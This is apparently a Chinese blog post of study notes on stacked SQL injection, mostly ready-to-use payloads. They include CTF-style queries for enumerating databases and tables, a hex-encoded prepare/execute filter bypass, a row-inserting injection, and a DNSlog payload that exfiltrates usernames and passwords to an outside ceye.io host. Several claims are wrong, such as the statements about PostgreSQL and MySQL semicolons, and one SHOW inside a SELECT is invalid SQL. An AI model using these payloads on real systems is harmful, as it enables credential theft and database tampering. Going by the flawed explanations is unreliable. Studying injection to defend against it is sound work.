SQL各种注入

堆叠注入

简单来说,就是多个sql查询语句一起偷偷执行

工具

而sqlmap是一个很好的sql工具

sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version(); SELECT user();"

还有Python脚本或Perl模块

不同DBMS有不同的堆叠注入方式

每一种数据库管理系统(DBMS)都有自己独特的“语言”,这使得堆叠注入在不同的环境中呈现出各异的表现形式。
以MySQL为例,它允许在同一行内使用分号分隔多个语句,这为堆叠注入提供了便利。但是默认是禁止使用分号进行堆叠注入的。
这就需要我们用注释符来绕过
比如:

' UNION ALL SELECT 1,2,3; --

PostgreSQL不支持直接在一行中执行多个命令,但我们可以利用内置函数来实现堆叠注入。
比如:pg_sleep()可用于创建时间延迟,从而推测出查询结果

参数化查询

参数化查询将SQL命令与变量区分开来
作用:防止攻击者通过插入恶意代码篡改原始查询
比如:
在PHP中使用PDO扩展时,可以通过以下方式准备一条安全的SQL语句:

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $userInput]);

堆叠注入与其他攻击方式结合

举例子:
1.某个Web应用存在一个未充分保护的上传接口,允许用户上传图片。
攻击者可以先利用堆叠注入获取数据库中存储的文件路径,再通过精心构造的图片文件名(如malicious.jpg),将恶意JavaScript代码嵌入其中。
一旦其他用户访问该图片,就会触发XSS攻击,弹出警告框。

2.在一个支持动态加载模板的应用中,攻击者可以利用堆叠注入篡改模板文件的位置,指向一个由他们控制的远程服务器。

准备好一个易受攻击的应用程序。可以考虑使用OWASP提供的BWA(Broken Web Application)项目,它包含了多个带有已知漏洞的Web应用,非常适合用来练习。

mysqli_multi_query()函数


当源代码出现这个函数时,我们可以进行堆叠注入
不过首先要判断数据库引擎是否支持堆叠注入(核心),比如MySQL就很支持。

局限性:

并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等,这个就是为什么我们尝试用 union select 联合查询的原因。

mysql中点引号( ’ )和反引号( ` )的区别

mysql中 , linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;
反引号( )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键] eg:mysql>SELECT * FROM table WHERE from = 'abc' ;

查看数据库
';show databases;

查看表格
';show tables;

查看列
';show columns from `1919810931114514`;

查看数据
';select flag from `1919810931114514`;

16禁止绕过
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

堆叠注入(条件苛刻)要拿权限的话可以用堆叠注入创建一个数据库账号然后登录,如果权限限制比较严格的话试试提权或其他方式进行一个组合

有一个判断方法
show个库(回显所有的库)看看。

?id=-1';select 1,2,(show databases);-- +

?id=-1';insert into users(id,username,password) values ('17','Jay','I love 36D too')-- +
令id=17,就可以找到刚刚新建的数据

另外,还能用DNSlog外带配合堆叠注入
?id=1';select load_file(concat('\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\abc'))--+

参考:
https://blog.csdn.net/master_chenchen/article/details/144732415
大大文采牛

posted @ 2025-03-26 21:27  FuPo1  阅读(60)  评论(0)    收藏  举报